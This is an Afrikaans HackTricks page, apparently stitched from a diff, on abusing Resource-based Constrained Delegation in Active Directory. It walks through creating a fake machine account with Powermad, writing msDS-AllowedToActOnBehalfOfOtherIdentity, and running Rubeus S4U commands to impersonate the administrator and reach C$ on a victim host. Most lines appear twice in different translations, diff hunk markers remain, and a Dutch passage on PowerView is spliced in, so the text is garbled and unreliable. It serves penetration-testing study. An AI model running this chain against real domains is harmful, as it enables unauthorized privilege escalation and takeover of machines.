In hierdie geval sal die beperkte voorwerp 'n eienskap hê genaamd _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ met die naam van die gebruiker wat enige ander gebruiker teenoor hom kan verteenwoordig.
## Basiese beginsels van Hulpbron-gebaseerde Beperkte Delegasie
'n Ander belangrike verskil tussen hierdie Beperkte Delegasie en die ander delegasies is dat enige gebruiker met **skryfregte oor 'n rekenaarrekening** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) die _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ kan instel (In die ander vorme van Delegasie het jy domein-admin-privileges nodig).
Dit is soortgelyk aan die basiese [Beperkte Delegasie](beperkte-delegasie.md) maar **in plaas daarvan** om toestemmings aan 'n **voorwerp** te gee om **enige gebruiker teen 'n diens te verteenwoordig**. Hulpbron-gebaseerde Beperkte Delegasie **stel in die voorwerp wie in staat is om enige gebruiker teen dit te verteenwoordig**.
In hierdie geval sal die beperkte voorwerp 'n eienskap hê genaamd _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ met die naam van die gebruiker wat enige ander gebruiker teen dit kan verteenwoordig.
'n Ander belangrike verskil van hierdie Beperkte Delegasie tot die ander delegasies is dat enige gebruiker met **skryfregte oor 'n rekenaarrekening** (_GenericAll/GenericWrite/WriteDacl/WriteProperty ens_) die _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ kan instel (In die ander vorme van Delegasie het jy domein-admin-privileges nodig).
### Nuwe Konsepte
In Beperkte Delegasie is daar gesê dat die **`TrustedToAuthForDelegation`**-vlag binne die _userAccountControl_-waarde van die gebruiker nodig is om 'n **S4U2Self** uit te voer. Maar dit is nie heeltemal waar nie.\
Die werklikheid is dat selfs sonder daardie waarde kan jy 'n **S4U2Self** uitvoer teenoor enige gebruiker as jy 'n **diens** is (het 'n SPN), maar as jy **`TrustedToAuthForDelegation`** het, sal die teruggekeerde TGS **Forwardable** wees en as jy nie daardie vlag het nie, sal die teruggekeerde TGS **nie** Forwardable wees nie.
Terug in Beperkte Delegasie is daar gesê dat die **`TrustedToAuthForDelegation`** vlag binne die _userAccountControl_ waarde van die gebruiker nodig is om 'n **S4U2Self** uit te voer. Maar dit is nie heeltemal waar nie.\
Die werklikheid is dat selfs sonder daardie waarde, kan jy 'n **S4U2Self** teen enige gebruiker uitvoer as jy 'n **diens** is (het 'n SPN) maar, as jy **`TrustedToAuthForDelegation` het** sal die teruggekeerde TGS **Forwardable** wees en as jy **nie** daardie vlag het nie, sal die teruggekeerde TGS **nie** Forwardable wees nie.
Maar as die **TGS** wat in **S4U2Proxy** gebruik word **nie Forwardable** is nie en jy probeer 'n **basiese Beperkte Delegasie** misbruik, sal dit **nie werk nie**. Maar as jy probeer om 'n **Bron-gebaseerde beperkte delegasie uit te buit, sal dit werk** (dit is nie 'n kwesbaarheid nie, dit is blykbaar 'n funksie).
Tog, as die **TGS** wat in **S4U2Proxy** gebruik word **NIET Forwardable** is en jy probeer om 'n **basiese Beperkte Delegasie** te misbruik, sal dit **nie werk nie**. Maar as jy probeer om 'n **Hulpbron-gebaseerde beperkte delegasie te benut, sal dit werk** (dit is nie 'n kwesbaarheid nie, dit is 'n kenmerk, blykbaar).
### Aanvalstruktuur
### Aanvalsstruktuur
> As jy **skrywekwivalente regte** het oor 'n **Rekenaar**-rekening, kan jy **bevoorregte toegang** tot daardie masjien verkry.
> As jy **skryf-ekwivalente regte** oor 'n **Rekenaar**-rekening het, kan jy **bevoorregte toegang** tot daardie masjien verkry.
Veronderstel dat die aanvaller reeds **skrywekwivalente regte** het oor die slagofferrekenaar.
Stel dat die aanvaller reeds **skryf-ekwivalente regte oor die slagofferrekenaar** het.
1. Die aanvaller **kompromitteer** 'n rekening wat 'n **SPN** het of **skep een** ("Diens A"). Let daarop dat **enige** _Admin-gebruiker_ sonder enige ander spesiale voorreg 'n maksimum van 10 **Rekenaarvoorwerpe (**_**MachineAccountQuota**_**)** kan **skep** en hulle 'n SPN kan instel. Die aanvaller kan dus net 'n Rekenaarvoorwerp skep en 'n SPN instel.
2. Die aanvaller **misbruik sy SKRYF-reg** oor die slagofferrekenaar (Diens B) om **bron-gebaseerde beperkte delegasie te konfigureer om Diens A toe te laat om enige gebruiker te verteenwoordig** teenoor daardie slagofferrekenaar (Diens B).
3. Die aanvaller gebruik Rubeus om 'n **volledige S4U-aanval** (S4U2Self en S4U2Proxy) uit te voer van Diens A na Diens B vir 'n gebruiker **met bevoorregte toegang tot Diens B**.
1. S4U2Self (vanaf die gekompromitteerde/gemaakte rekening met die SPN): Vra vir 'n **TGS van die Administrateur aan my** (Nie Forwardable nie).
2. S4U2Proxy: Gebruik die **nie Forwardable TGS** van die vorige stap om 'n **TGS** van die **Administrateur** na die **slagoffer-gashuis** te vra.
3. Selfs al gebruik jy 'n nie Forwardable TGS nie, sal dit werk omdat jy bron-gebaseerde beperkte delegasie uitbuit.
4. Die aanvaller kan die kaartjie deurgee en die gebruiker **verteenwoordig** om **toegang tot die slagoffer Diens B** te verkry.
1. Die aanvaller **kompromiteer** 'n rekening wat 'n **SPN** het of **skep een** ("Diens A"). Let daarop dat **enige** _Admin-gebruiker_ sonder enige ander spesiale voorreg tot 10 **Rekenaarvoorwerpe (**_**MachineAccountQuota**_**)** kan **skep** en hulle 'n **SPN** kan instel. So die aanvaller kan net 'n Rekenaarvoorwerp skep en 'n SPN instel.
2. Die aanvaller **misbruik sy SKRYF-voorreg** oor die slagofferrekenaar (Diens B) om **hulpbron-gebaseerde beperkte delegasie te konfigureer om Diens A toe te laat om enige gebruiker** teen daardie slagofferrekenaar (Diens B) te verteenwoordig.
3. Die aanvaller gebruik Rubeus om 'n **volledige S4U-aanval** (S4U2Self en S4U2Proxy) van Diens A na Diens B vir 'n gebruiker **met bevoorregte toegang tot Diens B** uit te voer.
1. S4U2Self (vanaf die SPN gekompromiteerde/gemaakte rekening): Vra vir 'n **TGS van Administrateur aan my** (Nie Forwardable).
2. S4U2Proxy: Gebruik die **nie Forwardable TGS** van die vorige stap om 'n **TGS** van **Administrateur** na die **slagoffer-gashuis** te vra.
3. Selfs al gebruik jy 'n nie Forwardable TGS, aangesien jy hulpbron-gebaseerde beperkte delegasie benut, sal dit werk.
4. Die aanvaller kan die **kaartjie deurgee** en die gebruiker **verteenwoordig** om **toegang tot die slagoffer Diens B** te verkry.
Om die _**MachineAccountQuota**_ van die domein te kontroleer, kan jy die volgende gebruik:
Om die _**MachineAccountQuota**_ van die domein te kontroleer, kan jy gebruik:
```powershell
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## Aanval
### Skep 'n Rekenaarvoorwerp
### Skep 'n Rekenaarobjek
Jy kan 'n rekenaarvoorwerp binne die domein skep deur [powermad](https://github.com/Kevin-Robertson/Powermad)**:** te gebruik.
Jy kan 'n rekenaarobjek binne die domein skep deur [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -59,38 +63,14 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
# Check if created
Get-DomainComputer SERVICEA
```
### Konfigurering van Hulpbron-gebaseerde Beperkte Delegasie
### Konfigurasie van Hulpbron-gebaseerde Beperkte Delegasie
**Met behulp van de activedirectory PowerShell-module**
**Met behulp van die activedirectory PowerShell-module**
```powershell
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**Met behulp van powerview**
Powerview is een krachtige tool die wordt gebruikt voor het uitvoeren van verschillende Active Directory-taken vanaf een Windows-systeem. Het biedt verschillende functies en cmdlets die kunnen worden gebruikt om informatie te verzamelen en verschillende acties uit te voeren in een Active Directory-omgeving.
Hier zijn enkele veelgebruikte Powerview-functies:
- **Get-DomainUser**: Hiermee kunt u informatie verzamelen over gebruikersaccounts in het domein, zoals gebruikersnaam, SID, groepslidmaatschap en meer.
- **Get-DomainGroup**: Hiermee kunt u informatie verzamelen over groepen in het domein, zoals groepsnaam, SID, leden en meer.
- **Get-DomainComputer**: Hiermee kunt u informatie verzamelen over computers in het domein, zoals computernaam, SID, besturingssysteem en meer.
- **Get-DomainGroupMember**: Hiermee kunt u de leden van een specifieke groep in het domein ophalen.
- **Get-DomainObjectAcl**: Hiermee kunt u de toegangscontrollijst (ACL) van een specifiek object in het domein ophalen.
- **Get-DomainObject**: Hiermee kunt u informatie verzamelen over een specifiek object in het domein, zoals gebruikers, groepen, computers en meer.
- **Get-DomainTrust**: Hiermee kunt u informatie verzamelen over vertrouwensrelaties tussen domeinen.
- **Get-DomainPolicy**: Hiermee kunt u informatie verzamelen over het groepsbeleid in het domein.
Powerview biedt ook verschillende cmdlets voor het uitvoeren van acties zoals het maken van nieuwe gebruikers, groepen en computers, het wijzigen van gebruikerswachtwoorden, het toevoegen van gebruikers aan groepen en meer.
Het is belangrijk op te merken dat Powerview alleen kan worden gebruikt als u al toegang heeft tot een Windows-systeem binnen het domein en de juiste rechten heeft. Het is een krachtige tool, maar moet met de nodige voorzichtigheid worden gebruikt om onbedoelde schade te voorkomen.
```powershell
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
@ -105,45 +85,45 @@ msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
### Die uitvoering van 'n volledige S4U-aanval
### Uitvoering van 'n volledige S4U-aanval
Eerstens het ons die nuwe Rekenaarobjek geskep met die wagwoord `123456`, so ons benodig die has van daardie wagwoord:
Eerstens het ons die nuwe Rekenaarobjek geskep met die wagwoord `123456`, dus het ons die has van daardie wagwoord nodig:
```bash
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
Hierdie sal die RC4 en AES hasings vir daardie rekening druk.\
Dit sal die RC4 en AES hasjies vir daardie rekening druk.\
Nou kan die aanval uitgevoer word:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Jy kan meer kaartjies genereer deur net een keer te vra deur die gebruik van die `/altservice` parameter van Rubeus:
Jy kan meer kaartjies genereer deur net een keer te vra deur die `/altservice` param van Rubeus te gebruik:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
{% hint style="danger" %}
Let daarop dat gebruikers 'n eienskap het wat "**Kan nie gedelegeer word nie**" genoem word. As 'n gebruiker hierdie eienskap op Waar het, sal jy hom nie kan voorstel nie. Hierdie eienskap kan binne bloodhound gesien word.
Let daarop dat gebruikers 'n eienskap het genaamd "**Kan nie gedelegeer word nie**". As 'n gebruiker hierdie eienskap na Waar het, sal jy hom nie kan impersoneer nie. Hierdie eienskap kan binne bloodhound gesien word.
{% endhint %}
### Toegang verkry
### Toegang
Die laaste opdraglyn sal die **volledige S4U-aanval uitvoer en die TGS in die geheue van die slagofferbediener inspuit**.\
In hierdie voorbeeld is 'n TGS vir die **CIFS**-diens van die Administrator aangevra, sodat jy toegang kan verkry tot **C$**:
Die laaste opdraglyn sal die **volledige S4U-aanval uitvoer en die TGS** van die Administrateur na die slagoffer-gashuis in **geheue** inspuit.\
In hierdie voorbeeld is 'n TGS vir die **CIFS**-diens van die Administrateur aangevra, sodat jy toegang sal hê tot **C$**:
```bash
ls \\victim.domain.local\C$
```
### Misbruik verskillende dienskaartjies
### Misbruik van verskillende dienstikette
Leer oor die [**beskikbare dienskaartjies hier**](silver-ticket.md#beskikbare-dienste).
Leer oor die [**beskikbare dienstikette hier**](silver-ticket.md#available-services).
## Kerberos Foute
* **`KDC_ERR_ETYPE_NOTSUPP`**: Dit beteken dat Kerberos gekonfigureer is om nie DES of RC4 te gebruik nie en jy verskaf net die RC4-hash. Verskaf ten minste die AES256-hash aan Rubeus (of verskaf net die RC4-, AES128- en AES256-hashes). Voorbeeld: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: Dit beteken dat die tyd van die huidige rekenaar verskil van dié van die DC en dat Kerberos nie behoorlik werk nie.
* **`preauth_failed`**: Dit beteken dat die gegewe gebruikersnaam + hashe nie werk om in te teken nie. Jy het dalk vergeet om die "$" binne die gebruikersnaam te plaas toe jy die hashe genereer (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
* **`KDC_ERR_ETYPE_NOTSUPP`**: Dit beteken dat kerberos ingestel is om nie DES of RC4 te gebruik nie en jy verskaf net die RC4-hash. Verskaf aan Rubeus ten minste die AES256-hash (of verskaf net die rc4, aes128 en aes256-hashes). Voorbeeld: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: Dit beteken dat die tyd van die huidige rekenaar verskil van dié van die DC en kerberos nie behoorlik werk nie.
* **`preauth_failed`**: Dit beteken dat die gegewe gebruikersnaam + hassele nie werk om in te teken nie. Jy het dalk vergeet om die "$" binne die gebruikersnaam te plaas toe jy die hassele gegenereer het (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
* **`KDC_ERR_BADOPTION`**: Dit kan beteken:
* Die gebruiker wat jy probeer voorstel, kan nie toegang verkry tot die gewenste diens nie (omdat jy dit nie kan voorstel nie of omdat dit nie genoeg bevoegdhede het nie)
* Die gevraagde diens bestaan nie (as jy vra vir 'n kaartjie vir winrm, maar winrm is nie besig nie)
* Die geskepte fakecomputer het sy bevoegdhede oor die kwesbare bediener verloor en jy moet dit teruggee.
* Die gebruiker wat jy probeer naboots kan nie toegang kry tot die gewenste diens nie (omdat jy dit nie kan naboots nie of omdat dit nie genoeg regte het nie)
* Die gevraagde diens bestaan nie (as jy vir 'n kaartjie vir winrm vra maar winrm nie loop nie)
* Die valsrekenaar wat geskep is, het sy regte oor die kwesbare bediener verloor en jy moet dit teruggee.
## Verwysings
@ -152,15 +132,19 @@ Leer oor die [**beskikbare dienskaartjies hier**](silver-ticket.md#beskikbare-di
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.